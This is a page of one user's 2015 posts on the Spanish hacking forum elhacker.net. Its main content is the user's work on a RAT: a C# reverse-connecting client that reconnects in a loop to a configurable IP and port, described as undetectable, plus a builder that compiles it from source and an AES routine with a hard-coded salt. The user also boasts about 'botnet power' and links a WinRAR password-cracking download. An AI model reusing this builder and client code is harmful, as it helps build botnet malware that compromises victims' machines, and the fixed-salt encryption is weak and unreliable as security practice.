elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7 8
31  Seguridad Informática / Análisis y Diseño de Malware / Re: Rat - ¿Cómo hacer la conexión estable? en: 4 Septiembre 2015, 22:12 pm
Bueno,gracias por las respuestas.
La verdad es que ya la terminé,la conexión,y no me ha quedado nada mal ( 300 clients y usa 0% de cpu,aunque supongo que serían por que son locales).
https://gyazo.com/4023f795a1e6180fa0f83066f912fc1c
El trackbar varía según el número de clientes conectados,y el average botnet power es la suma de los Mbps disponibles de cada cliente  :laugh:.
32  Programación / .NET (C#, VB.NET, ASP) / Re: Como poder hacer un salto en un textbox? en: 28 Agosto 2015, 15:42 pm
Creo que podrías usar "\n"
cuando el timer esté activado:
text1.Text += "\n";
33  Programación / .NET (C#, VB.NET, ASP) / Error en AES El relleno entre caracteres no es válido y no se puede quitar. en: 24 Agosto 2015, 15:19 pm
Hola  :D,estoy intentando cifrar la conexion entre mi client y servidor,pero al enviar o recibir paquetes me da este error:
El relleno entre caracteres no es válido y no se puede quitar.

Código
  1. doAction(AES_Decrypt(buffer, Encoding.Default.GetBytes(this.keyG)).ToString());
  2.  
  3.  
  4. public byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
  5.        {
  6.            byte[] decryptedBytes = null;
  7.            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  8.            using (MemoryStream ms = new MemoryStream())
  9.            {
  10.                using (RijndaelManaged AES = new RijndaelManaged())
  11.                {
  12.                    AES.KeySize = 256;
  13.                    AES.BlockSize = 128;
  14.                    var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  15.                    AES.Key = key.GetBytes(AES.KeySize / 8);
  16.                    AES.IV = key.GetBytes(AES.BlockSize / 8);
  17.                    AES.Mode = CipherMode.CBC;
  18.                    using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
  19.                    {
  20.                        cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
  21.                        cs.Close(); // Aquí me salta la exepcion
  22.                    }
  23.                    decryptedBytes = ms.ToArray();
  24.                }
  25.            }
  26.            return decryptedBytes;
  27.        }

La clave que estoy usando es: YmyWRtxxc5¿Jun/y%2WH%jyM1f , puede que sea por que tiene caracteres raros?
34  Foros Generales / Foro Libre / Re: Vaya ddos más raro no? en: 20 Agosto 2015, 21:12 pm
O el script que produce el video esta haciendo algo mal... o los timestamps estan mal, etc..
Con otros es muy diferente
https://gyazo.com/f5efa7ae140f31bc5d26359b23741df3
35  Foros Generales / Foro Libre / Vaya ddos más raro no? en: 20 Agosto 2015, 20:53 pm
Normalmente suelen enviar los paquetes seguidos,sin embargo en este parece que espera ciertos ms entre cada paquete no?
https://gyazo.com/a07be9d1c7992ba6ed1a0b26d0525b34
RIP cloudflare https://gyazo.com/e4cf89d333814b35046cdd87dd6d557b
36  Seguridad Informática / Análisis y Diseño de Malware / Re: Rat - ¿Cómo hacer la conexión estable? en: 20 Agosto 2015, 17:11 pm
Creo que estás confundiendo conceptos... el servidor es al que te conectas, es decir es la parte en la pc de las victimas... el cliente es quien se conecta a los servidores para cometer sus funciones, es decir el panel de control

sobre si cifrar en AES no veo ni si quiera por qué dudarlo...
Solamente había trabajado con el cifrado cesar antes,no sé mucho.
Lo que estoy preguntando es sobre cómo optimizar el server.
Había pensado que cada vez que se conecte un client crear un thread para leer los datos que envía,si está conectado,si realiza bien las acciones etc,pero si se conectan por ejemplo 300 clientes a la vez,serían 300 threads funcionando,lo cual creo es una bestialidad.
He escuchado de servers que sólo usan un thread.
37  Seguridad Informática / Análisis y Diseño de Malware / Rat - ¿Cómo hacer la conexión estable? en: 20 Agosto 2015, 13:16 pm
Hola  :D.
Estoy creando un Rat,y ya he hecho el client ( Fud  ;-) , aunque sin muchas funciones ).
Y ahora estoy haciendo el server,pero necesitaría ideas de como hacerlo estable.
Había pensado lo siguiente.

Al iniciarse el programa se inicia un thread a la espera de clients.
Si un client se conecta,lo almacenamos en un diccionario y creamos un thread para escuchar los packets que envía.
Si el client se desconecta,lo borramos del diccionario y rompemos el thread que lo escuchaba.

Pero no me convence crear un thread que escuche conexiones para luego crear un thread por cliente..
Alguna idea?  :)

PD: había pensado cifrar los packets con AES,qué tal?
38  Programación / .NET (C#, VB.NET, ASP) / Re: Compilar un código a partir de un string? en: 19 Agosto 2015, 22:00 pm
No, solo es necesario tener .Net Framework 4.0 instalado en el sistema operativo (puesto que estás compilando para esa versión).

El motivo por el cual el compilador te devuelve errores es por que aquí has escrito varios ensamblados que no existen:
Microsoft.Threading.dll y Microsoft.Text.dll en realidad se escriben System.Threading y System.Text tal y como ya lo tienes escrito en las importaciones de la class client, pero no son librerías, son nombres de espacios contenidos en la librería System.dll. Lo mismo ocurre con System.Net.Sockets.

De todas esas librerías que añades, en realidad solo necesitas añadir las librerías System.dll y System.Net.dll, arregla eso, vuelve a intentar compilar y muestra el nuevo error en caso de que tuvieras alguno.

Aparte de eso, estás intentando compilar una app de consola pero has configurado los parámetros del compiler para que genere un exe con interfáz gráfica. elimina esto:
Además, vuelvo a recordarte que debes indicarle al compiler el nombre completo del miembro principal del código fuente en donde se encuentra el entry point (es decir, Rat.Client) cómo en el ejemplo que te mostré. Te muestro otro ejemplo:

Código
  1. Dim cResult As CompilerResults
  2. Dim pOptions As New Dictionary(Of String, String)() From {{"CompilerVersion", "v4.0"}}
  3. Using cProvider As CodeDomProvider = New CSharpCodeProvider(pOptions)
  4.  
  5.    Dim cParams As New CompilerParameters()
  6.  
  7.    If cProvider.Supports(GeneratorSupport.EntryPointMethod) Then
  8.        cParams.MainClass = "Rat.Client"
  9.    End If
  10.  
  11.    cResult = cProvider.CompileAssemblyFromSource(cParams, source)
  12.  
  13. End Using
  14.  
  15. Dim warnings As IEnumerable(Of CompilerError) =
  16.    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
  17.    Where ce.IsWarning
  18.  
  19. Dim errors As IEnumerable(Of CompilerError) =
  20.    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
  21.    Where Not ce.IsWarning

Conversión online a C#:
Código
  1. CompilerResults cResult = default(CompilerResults);
  2. Dictionary<string, string> pOptions = new Dictionary<string, string> { {"CompilerVersion", "v4.0"} };
  3. using (CodeDomProvider cProvider = new CSharpCodeProvider(pOptions)) {
  4.  
  5. CompilerParameters cParams = new CompilerParameters();
  6.  
  7. if (cProvider.Supports(GeneratorSupport.EntryPointMethod)) {
  8. cParams.MainClass = "Rat.Client";
  9. }
  10.  
  11. cResult = cProvider.CompileAssemblyFromSource(cParams, source);
  12. }
  13.  
  14. IEnumerable<CompilerError> warnings = from ce in cResult.Errors.Cast<CompilerError>() where ce.IsWarning;
  15. IEnumerable<CompilerError> errors = from ce in cResult.Errors.Cast<CompilerError>() where !ce.IsWarning;
  16.  
  17. //=======================================================
  18. //Service provided by Telerik (www.telerik.com)
  19. //=======================================================

Saludos
Muchísimas gracias! ya lo solucioné ^^!
39  Programación / .NET (C#, VB.NET, ASP) / Re: Compilar un código a partir de un string? en: 19 Agosto 2015, 10:16 am


No somos adivinos, por favor no me hagas repetirte esto en el futuro.

Cómo mínimo da los detalles necesarios y esenciales cuando tengas "X" error, muestra el o los mensajes de error, que no tengamos que estar preguntándote por algo tan básico para poder entender que error tienes y ofrecerte ayuda.



El código que has mostrado es literálmente nada, ya que un código fuente necesita seguir una estructura para poder ser compilado.

Esto sería un ejemplo de un código compilable, una aplicación de consola, donde cómo ves hay un punto de entrada (método Main) dentro de una clase que a su vez está dentro de un espacio de nombres:
Código
  1. using System;
  2.  
  3. namespace MainNamespace
  4. {
  5.    class MainClass
  6.    {
  7.        static void Main(string[] args)
  8.        {
  9.           // Tú código aquí.
  10.        }
  11.    }
  12. }

Aparte de eso, recuerda que estás dependiendo del namespace System.Windows.Forms (SaveFileDialog), por lo que aparte de añadir la referencia a dicho ensamblado usando los parámetros del compilador, debes añadir la correspondiente directiva using en tu código fuente, y lo mismo con cualqueir otro namespace que requieras.

Por último, en el proveedor debes especificar el nombre completo del miembro principal, que en el código de ejemplo que he mostrado sería el siguiente:
Código
  1. ...
  2. CodedomProvider provider = new CSharpCodeProvider();
  3. provider.MainClass = "MainNamespace.MainClass";
  4. ...

EDITO:
Y esta instrucción, elimínala, aparte de que no hay necesidad de compilar bajo NetFx 2.0, si utilizas ensamblados que requieran una versión superior (ej: System.Linq.dll) no podrás compilar. Deja que la lógica del proveedor elija la versión adecuada por si mismo:
Aquí puedes ver un ejemplo más detallado que desarrollé:
Librería de Snippets para VB.Net !!

Saludos.
Perdón,aquí va mi segundo intento.
Quiero dar la opción al usuario que use de mi programa de poder crear su propio server,y para ello edita el client a la respectiva ip y puerto.

Código del client:

Código
  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Text;
  5. using System.Threading;
  6.  
  7. namespace Rat
  8. {
  9.    class Client
  10.    {
  11.        private string ipG = @"<replace_ip>";
  12.        private int portG = 2341;
  13.        private string keyG = @"<replace_key";
  14.        private string nameG = @"<replace_name>";
  15.        static void Main(string[] args)
  16.        {
  17.            Client cl = new Client();
  18.            cl.tryConexion(cl.ipG, cl.portG,false);
  19.        }
  20.        public string tryConexion(string ip, int port,bool isTest)
  21.        {
  22.            try
  23.            {
  24.                TcpClient client = new TcpClient(ip, port);
  25.                if(isTest == false)
  26.                handlePackets(client);
  27.                return "Conexion works";
  28.  
  29.            }
  30.            catch
  31.            {
  32.                if(isTest == false)
  33.                tryConexion(ip, port,false);
  34.                return "deny";
  35.            }
  36.        }
  37.        public void handlePackets(TcpClient client)
  38.        {
  39.            try
  40.            {
  41.                NetworkStream stream = client.GetStream();
  42.                Byte[] buffer = new Byte[client.Available];
  43.                while (client.Connected)
  44.                {
  45.                    buffer = new Byte[client.Available];
  46.                    stream.Read(buffer, 0, buffer.Length);
  47.                    doAction(Encoding.ASCII.GetString(buffer));
  48.                    stream.Flush();
  49.                    Thread.Sleep(1);
  50.                }
  51.            }
  52.            catch
  53.            {
  54.                tryConexion(ipG, portG,false);
  55.            }
  56.        }
  57.        public void doAction(string packet)
  58.        {
  59.            string[] packetParam = packet.Split('<');
  60.            switch (packet)
  61.            {
  62.            }
  63.        }
  64.  
  65.    }
  66. }
  67.  
,El código del client lo guardo en un .txt en la carpeta resources y luego lo convierto en string.

Código
  1. string source = Properties.Resources.client;

después lo edito siguiendo los datos que haya dado el usuario

Código
  1.                source = source.Replace("<replace_ip>", ipTxt.Text);
  2.                source = source.Replace("2341", portTxt.Text);
  3.                source = source.Replace("<replace_key", keyTxt.Text);
  4.                source = source.Replace("<replace_name>", nameTxt.Text);

y finalmente lo intento compilar:

Código
  1. bool success = Compiler.CompileFromSource(source, FSave.FileName);

Y aquí lo que lo compila

Código
  1.   public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
  2.        {
  3.            CompilerParameters CParams = new CompilerParameters();
  4.            CParams.GenerateExecutable = true;
  5.            CParams.OutputAssembly = Output;
  6.            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
  7.            if (Icon != null)
  8.                options += " /win32icon:\"" + Icon + "\"";
  9.            CParams.CompilerOptions = options;
  10.           CParams.TreatWarningsAsErrors = false;
  11.            CParams.ReferencedAssemblies.Add("System.dll");
  12.            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
  13.            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
  14.            CParams.ReferencedAssemblies.Add("System.Data.dll");
  15.            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
  16.            CParams.ReferencedAssemblies.Add("System.Net.dll");
  17.            CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
  18.            CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
  19.            CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");
  20.            if (Resources != null && Resources.Length > 0)
  21.            {
  22.                foreach (string res in Resources)
  23.                {
  24.                    CParams.EmbeddedResources.Add(res);
  25.                }
  26.            }
  27.            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
  28.            ProviderOptions.Add("CompilerVersion", "v4.0");
  29.            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
  30.            if (Results.Errors.Count > 0)
  31.            {
  32.                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
  33.                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
  34.                    MessageBoxIcon.Error);
  35.                foreach (CompilerError Err in Results.Errors)
  36.                {
  37.                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
  38.                        Err.Line, Err.Column, Err.FileName), "Error",
  39.                        MessageBoxButtons.OK, MessageBoxIcon.Error);
  40.                }
  41.                return false;
  42.  
  43.            }
  44.            else
  45.            {
  46.                return true;
  47.            }
  48.  
  49.        }

Y al compilar,me da estos errores:
https://gyazo.com/4d0dfac4a26487fc096390f835ec6930

Debo de poner los dll junto al programa?
40  Informática / Software / [Download] Winrar password bypass. en: 18 Agosto 2015, 21:53 pm

Métodos:

-Bypass en versiones 4.0.1 o inferiores.
-Fuerza bruta.

Link: http://www.mediafire.com/download/b7pzy7w82op4byw/RAR+Password+Unlocker+v4.2.0.0+Full.rar
Virus total: https://www.virustotal.com/es/file/0b081a9539b7dc593aee9ef0771fe5fb06ae0646a107ea9d6cadfd0f529391fa/analysis/
Páginas: 1 2 3 [4] 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines